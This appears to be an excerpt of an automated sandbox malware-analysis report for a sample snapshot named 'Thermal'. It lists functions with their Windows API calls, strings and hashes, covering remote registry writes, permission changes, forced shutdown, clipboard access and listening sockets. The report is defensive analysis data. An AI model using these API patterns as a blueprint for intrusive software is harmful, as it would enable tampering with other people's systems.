Instruction ID: 8b66b91ac276f7c6cd6cf7be063a5723188f8e922f30d80d21181a73799ce7ab
Opcode Fuzzy Hash: 21472101f9264db794ee4d77d75c46f8121c9c12ba7e678b7d0713d4b5f45299
Instruction Fuzzy Hash: 1E51DF71204305AFDB11EF64EC89F6F77A8AF98B50F004629F646D21E1EF30D9468B62

Function 0018CD9F Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 280timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 0018CDD0
FindClose.KERNEL32(00000000), ref: 0018CE24
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0018CE49
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0018CE60
FileTimeToSystemTime.KERNEL32(?,?), ref: 0018CE87
__swprintf.LIBCMT ref: 0018CED3
__swprintf.LIBCMT ref: 0018CF16

Part of subcall function 00131A36: _memmove.LIBCMT ref: 00131A77

__swprintf.LIBCMT ref: 0018CF6A

Part of subcall function 001438C8: __woutput_l.LIBCMT ref: 00143921

__swprintf.LIBCMT ref: 0018CFB8

Part of subcall function 001438C8: __flsbuf.LIBCMT ref: 00143943
Part of subcall function 001438C8: __flsbuf.LIBCMT ref: 0014395B

__swprintf.LIBCMT ref: 0018D007
__swprintf.LIBCMT ref: 0018D056
__swprintf.LIBCMT ref: 0018D0A5

Strings

%4d, xrefs: 0018CF10
%02d, xrefs: 0018CF5E, 0018CF68, 0018CFB6, 0018D005, 0018D054, 0018D0A3
%4d%02d%02d%02d%02d%02d, xrefs: 0018CECD

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: __swprintf$FileTime$FindLocal__flsbuf$CloseFirstSystem__woutput_l_memmove
String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
API String ID: 3953360268-2428617273
Opcode ID: 068d9106d328e25327a8f5db30195d0f7b242abc7965a37bfe6bd9341a06293a
Instruction ID: 5cb1f4f5a2314ca4511a26be8562e67c712cf9cd0fc84d18c0766e2c6f64c028
Opcode Fuzzy Hash: 068d9106d328e25327a8f5db30195d0f7b242abc7965a37bfe6bd9341a06293a
Instruction Fuzzy Hash: 3AA14BB1408315ABD714EFA4D985DAFB7ECFFA4704F400919F595C2191EB30EA08CBA2

Function 0018F5D8 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 119fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,771A8FB0,?,00000000), ref: 0018F5F9
_wcscmp.LIBCMT ref: 0018F60E
_wcscmp.LIBCMT ref: 0018F625
GetFileAttributesW.KERNEL32(?), ref: 0018F637
SetFileAttributesW.KERNEL32(?,?), ref: 0018F651
FindNextFileW.KERNEL32(00000000,?), ref: 0018F669
FindClose.KERNEL32(00000000), ref: 0018F674
FindFirstFileW.KERNEL32(*.*,?), ref: 0018F690
_wcscmp.LIBCMT ref: 0018F6B7
_wcscmp.LIBCMT ref: 0018F6CE
SetCurrentDirectoryW.KERNEL32(?), ref: 0018F6E0
SetCurrentDirectoryW.KERNEL32(001DB578), ref: 0018F6FE
FindNextFileW.KERNEL32(00000000,00000010), ref: 0018F708
FindClose.KERNEL32(00000000), ref: 0018F715
FindClose.KERNEL32(00000000), ref: 0018F727

Strings

*.*, xrefs: 0018F68B

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1803514871-438819550
Opcode ID: 358b0e193ca1722062136fac0e8970cadcc76c563e698cf91ff12cbe8a526dab
Instruction ID: eab244c8fb64161278798ab2b8da890e47beca43e1ff1d61c272120e85ec1de5
Opcode Fuzzy Hash: 358b0e193ca1722062136fac0e8970cadcc76c563e698cf91ff12cbe8a526dab
Instruction Fuzzy Hash: FF31B571641219AADF15EBB4EC49ADF77ACAF4D321F1002A9F855D21A0EB30DB85CF60

Function 001A0EB7 Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 001A0FB3
RegCreateKeyExW.ADVAPI32(?,?,00000000,001B0980,00000000,?,00000000,?,?), ref: 001A1021
RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 001A1069
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 001A10F2
RegCloseKey.ADVAPI32(?), ref: 001A1412
RegCloseKey.ADVAPI32(00000000), ref: 001A141F

Strings

REG_SZ, xrefs: 001A1130
REG_MULTI_SZ, xrefs: 001A11DA
REG_EXPAND_SZ, xrefs: 001A108F
REG_DWORD, xrefs: 001A12E3
REG_QWORD, xrefs: 001A1360
REG_BINARY, xrefs: 001A13AD

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Close$ConnectCreateRegistryValue
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 536824911-966354055
Opcode ID: 2f24d9d0bc3a5a19940dfd3d0d3586425a0fedaf4a3f542fb8ab8f2f9e1d3d4f
Instruction ID: 7a38b93c4065338d33c5196a1820bd71662e713b42cb77dea62acf3f2c2ae35c
Opcode Fuzzy Hash: 2f24d9d0bc3a5a19940dfd3d0d3586425a0fedaf4a3f542fb8ab8f2f9e1d3d4f
Instruction Fuzzy Hash: 77028B75200611AFCB15EF65C841E2AB7E5FF99720F04895DF89A9B3A2CB34EC41CB91

Function 0018F735 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 112fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,771A8FB0,?,00000000), ref: 0018F756
_wcscmp.LIBCMT ref: 0018F76B
_wcscmp.LIBCMT ref: 0018F782

Part of subcall function 00184875: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 00184890

FindNextFileW.KERNEL32(00000000,?), ref: 0018F7B1
FindClose.KERNEL32(00000000), ref: 0018F7BC
FindFirstFileW.KERNEL32(*.*,?), ref: 0018F7D8
_wcscmp.LIBCMT ref: 0018F7FF
_wcscmp.LIBCMT ref: 0018F816
SetCurrentDirectoryW.KERNEL32(?), ref: 0018F828
SetCurrentDirectoryW.KERNEL32(001DB578), ref: 0018F846
FindNextFileW.KERNEL32(00000000,00000010), ref: 0018F850
FindClose.KERNEL32(00000000), ref: 0018F85D
FindClose.KERNEL32(00000000), ref: 0018F86F

Strings

*.*, xrefs: 0018F7D3

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 1824444939-438819550
Opcode ID: 87a37fb8aef256d7366e44b6ee0ab080b5fb911bb6c72edd2a816c476b47d495
Instruction ID: da3a1c6453c4b2296bf03643e2628b63748be750a4b7f19ba104acb01046bf6e
Opcode Fuzzy Hash: 87a37fb8aef256d7366e44b6ee0ab080b5fb911bb6c72edd2a816c476b47d495
Instruction Fuzzy Hash: 1C319871540219AAEF15EBB5DC89ADF776C9F1E321F1001A9F854A21A0DB30DF468F50

Function 001788CD Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00178E20: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00178E3C
Part of subcall function 00178E20: GetLastError.KERNEL32(?,00178900,?,?,?), ref: 00178E46
Part of subcall function 00178E20: GetProcessHeap.KERNEL32(00000008,?,?,00178900,?,?,?), ref: 00178E55
Part of subcall function 00178E20: HeapAlloc.KERNEL32(00000000,?,00178900,?,?,?), ref: 00178E5C
Part of subcall function 00178E20: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00178E73

Part of subcall function 00178EBD: GetProcessHeap.KERNEL32(00000008,00178916,00000000,00000000,?,00178916,?), ref: 00178EC9
Part of subcall function 00178EBD: HeapAlloc.KERNEL32(00000000,?,00178916,?), ref: 00178ED0
Part of subcall function 00178EBD: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00178916,?), ref: 00178EE1

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00178931
_memset.LIBCMT ref: 00178946
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00178965
GetLengthSid.ADVAPI32(?), ref: 00178976
GetAce.ADVAPI32(?,00000000,?), ref: 001789B3
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 001789CF
GetLengthSid.ADVAPI32(?), ref: 001789EC
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 001789FB
HeapAlloc.KERNEL32(00000000), ref: 00178A02
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00178A23
CopySid.ADVAPI32(00000000), ref: 00178A2A
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00178A5B
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00178A81
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00178A95

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: a1275ed0110e6579ab75e32558ad16f110b3254c301bdea71092998aecf1b4e6
Instruction ID: 8119ad124c11e1106ff33172147d056e5dd4eded6dc444aa48034d8748c23c27
Opcode Fuzzy Hash: a1275ed0110e6579ab75e32558ad16f110b3254c301bdea71092998aecf1b4e6
Instruction Fuzzy Hash: 1E614975940209BFDF11DFA5DC49EAEBB79FF48304F04822AF919A7290DB319A05CB61

Function 001A0A3A Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON

Download Yara Rule

APIs

Part of subcall function 001A147A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,001A040D,?,?), ref: 001A1491

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 001A0B0C

Part of subcall function 00124D37: __itow.LIBCMT ref: 00124D62
Part of subcall function 00124D37: __swprintf.LIBCMT ref: 00124DAC

RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 001A0BAB
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 001A0C43
RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 001A0E82
RegCloseKey.ADVAPI32(00000000), ref: 001A0E8F

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
String ID:
API String ID: 1240663315-0
Opcode ID: 3e9f8c9636001a82e52db26c68e0ba20f1b5570b7c48a09f43295c32ee0d4e51
Instruction ID: 99c2972728b27692b69c9585336691f6f09f53a1a9c5d9552c0e97dc6d23e8aa
Opcode Fuzzy Hash: 3e9f8c9636001a82e52db26c68e0ba20f1b5570b7c48a09f43295c32ee0d4e51
Instruction Fuzzy Hash: 47E16B35204210AFCB15DF69C995E2BBBE8EF99714F04896DF84ADB2A1DB30ED01CB51

Function 0018443D Relevance: 15.1, APIs: 10, Instructions: 108windowCOMMON

Download Yara Rule

APIs

__swprintf.LIBCMT ref: 00184451
__swprintf.LIBCMT ref: 0018445E

Part of subcall function 001438C8: __woutput_l.LIBCMT ref: 00143921

FindResourceW.KERNEL32(?,?,0000000E), ref: 00184488
LoadResource.KERNEL32(?,00000000), ref: 00184494
LockResource.KERNEL32(00000000), ref: 001844A1
FindResourceW.KERNEL32(?,?,00000003), ref: 001844C1
LoadResource.KERNEL32(?,00000000), ref: 001844D3
SizeofResource.KERNEL32(?,00000000), ref: 001844E2
LockResource.KERNEL32(?), ref: 001844EE
CreateIconFromResourceEx.USER32(?,?,00000001,00030000,00000000,00000000,00000000), ref: 0018454F

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Resource$FindLoadLock__swprintf$CreateFromIconSizeof__woutput_l
String ID:
API String ID: 1433390588-0
Opcode ID: 4e70546615db05038225f9aaea3eb1433b4227c3674b971c3eb33d79bd3081e5
Instruction ID: bfee5ebb6ff69776f707580d2f5140e1ef9a63ff4cd85ce98e7b4bc044b58a43
Opcode Fuzzy Hash: 4e70546615db05038225f9aaea3eb1433b4227c3674b971c3eb33d79bd3081e5
Instruction Fuzzy Hash: E031AF7150125BAFDB11AFA0ED98ABF7BA8EF08301F004525F916D6150DB34DA51CFA0

Function 00194830 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00194857
EmptyClipboard.USER32 ref: 0019485D
GlobalAlloc.KERNEL32(00000002,?), ref: 00194872
CloseClipboard.USER32 ref: 00194911

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: b2c434063d2365dd060b3eddb6909973b6579ef824ef1bee5ff79d24e8090faa
Instruction ID: 55d980d4894d8cca83bd108852ef67af2374b46af98d9f15c4dcd87b1ed23265
Opcode Fuzzy Hash: b2c434063d2365dd060b3eddb6909973b6579ef824ef1bee5ff79d24e8090faa
Instruction Fuzzy Hash: A021C7316012109FDB12AF64EC49F2E7BA8FF58721F008159F9059B6A1DB30AD51CB54

Function 0018FA36 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 120filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00131A36: _memmove.LIBCMT ref: 00131A77

FindFirstFileW.KERNEL32(?,?,*.*,?,?,00000000,00000000), ref: 0018FA83
FindClose.KERNEL32(00000000), ref: 0018FB96

Part of subcall function 001252B0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 001252E6

Sleep.KERNEL32(0000000A), ref: 0018FAB3
_wcscmp.LIBCMT ref: 0018FAC7
_wcscmp.LIBCMT ref: 0018FAE2
FindNextFileW.KERNEL32(?,?), ref: 0018FB80

Strings

*.*, xrefs: 0018FA68

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstMessageNextPeekSleep_memmove
String ID: *.*
API String ID: 2185952417-438819550
Opcode ID: 372555c9bb093c19a487fbf6bd2c8fd9c9f72383f78dc92fccce428350c136e3
Instruction ID: 5ac0407b5ddc4887edc8de4c5c627df055d737ae135d2fb8e20620112d1533de
Opcode Fuzzy Hash: 372555c9bb093c19a487fbf6bd2c8fd9c9f72383f78dc92fccce428350c136e3
Instruction Fuzzy Hash: 7C417E7190021AAFCF15EF64CC59AEEBBB5FF19350F14456AE814A32A1EB309B85CF50

Function 00185778 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 00179399: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 001793E3
Part of subcall function 00179399: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00179410
Part of subcall function 00179399: GetLastError.KERNEL32 ref: 0017941D

ExitWindowsEx.USER32(?,00000000), ref: 001857B4

Strings

, xrefs: 001857A2
SeShutdownPrivilege, xrefs: 00185784
@, xrefs: 001857A7

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $@$SeShutdownPrivilege
API String ID: 2234035333-194228
Opcode ID: 9b5a4e2678bd378ec59b8ae4fb96134d5eb09cc7b6025e6d4a0515486d31b311
Instruction ID: 2d944d4fd01546c905541f29899d082aa9f349ab4b3c095d4dd3ea03f4a63f7d
Opcode Fuzzy Hash: 9b5a4e2678bd378ec59b8ae4fb96134d5eb09cc7b6025e6d4a0515486d31b311
Instruction Fuzzy Hash: 2601F731650712EAE72C73A49C8ABBB7659EB04B50F948565F917D20D2DB505E009B50

Function 0019696E Relevance: 9.1, APIs: 6, Instructions: 84networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 001969C7
WSAGetLastError.WSOCK32(00000000), ref: 001969D6
bind.WSOCK32(00000000,?,00000010), ref: 001969F2
listen.WSOCK32(00000000,00000005), ref: 00196A01
WSAGetLastError.WSOCK32(00000000), ref: 00196A1B
closesocket.WSOCK32(00000000,00000000), ref: 00196A2F

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: ErrorLast$bindclosesocketlistensocket
String ID:
API String ID: 1279440585-0
Opcode ID: 8af2348887d035beec896b4e326d680f13f4949ad12f3104ddc01ff6734fe025
Instruction ID: e799350e57cd89ee2e9a114818606d6308200505aa5413bf6648535e843f1d79
Opcode Fuzzy Hash: 8af2348887d035beec896b4e326d680f13f4949ad12f3104ddc01ff6734fe025
Instruction Fuzzy Hash: E421E1306006149FCB10EF64DC89B2EB7B9EF58720F118258F856A73D1DB70AD41CBA0

Function 00121663 Relevance: 7.9, APIs: 5, Instructions: 379COMMON

Download Yara Rule

APIs

Part of subcall function 001229E2: GetWindowLongW.USER32(?,000000EB), ref: 001229F3

DefDlgProcW.USER32(?,?,?,?,?), ref: 00121DD6
GetSysColor.USER32(0000000F), ref: 00121E2A
SetBkColor.GDI32(?,00000000), ref: 00121E3D

Part of subcall function 0012166C: DefDlgProcW.USER32(?,00000020,?), ref: 001216B4

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: ColorProc$LongWindow
String ID:
API String ID: 3744519093-0
Opcode ID: e377db20025908842e5624cb5a28c8ee2a6a1041b27356f47be324fc8c83aca1
Instruction ID: 7b4b27357bc43182de7a7f62b53f22cde1e2f7cb4ab44fc6f658f2c9aa6e673d
Opcode Fuzzy Hash: e377db20025908842e5624cb5a28c8ee2a6a1041b27356f47be324fc8c83aca1
Instruction Fuzzy Hash: 92A1477410946CFAE62CEBE9BC8DE7F35ADDB72306F16010AF812DA5D1CB219D218275

Function 0018C2FF Relevance: 7.6, APIs: 5, Instructions: 143fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 0018C329
_wcscmp.LIBCMT ref: 0018C359
_wcscmp.LIBCMT ref: 0018C36E
FindNextFileW.KERNEL32(00000000,?), ref: 0018C37F
FindClose.KERNEL32(00000000,00000001,00000000), ref: 0018C3AF

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstNext
String ID:
API String ID: 2387731787-0
Opcode ID: 5b74188bb668f2dffa13e802164d831fe941d9f92eb76168a0474b1fac96ded7
Instruction ID: e51cf412c519daace620a8a7826475e0ded075ee3b8c6ddf23d49a485fb6339f
Opcode Fuzzy Hash: 5b74188bb668f2dffa13e802164d831fe941d9f92eb76168a0474b1fac96ded7
Instruction Fuzzy Hash: 57518A356046029FC718EF68D490EAAB7E4FF59320F10465DE95A873A1DB30EE05CFA1

Function 00196E32 Relevance: 7.6, APIs: 5, Instructions: 141networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00198475: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 001984A0

socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 00196E89
WSAGetLastError.WSOCK32(00000000), ref: 00196EB2
bind.WSOCK32(00000000,?,00000010), ref: 00196EEB
WSAGetLastError.WSOCK32(00000000), ref: 00196EF8
closesocket.WSOCK32(00000000,00000000), ref: 00196F0C

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: ErrorLast$bindclosesocketinet_addrsocket
String ID:
API String ID: 99427753-0
Opcode ID: 272c7baf8c5789ecf27dc9e9b82689d8aa6d7d216eaf5dc9bea918f0e988672b
Instruction ID: 11a0e8c76b46d12526d0b6eadc81f1fce0e3deae3fc9bf652598dc0bb1f4dd9a
Opcode Fuzzy Hash: 272c7baf8c5789ecf27dc9e9b82689d8aa6d7d216eaf5dc9bea918f0e988672b
Instruction Fuzzy Hash: 7E41E275B00624AFDB10AF64EC86F6E77A8DF68710F048558F959AB3C2DB709D108FA1

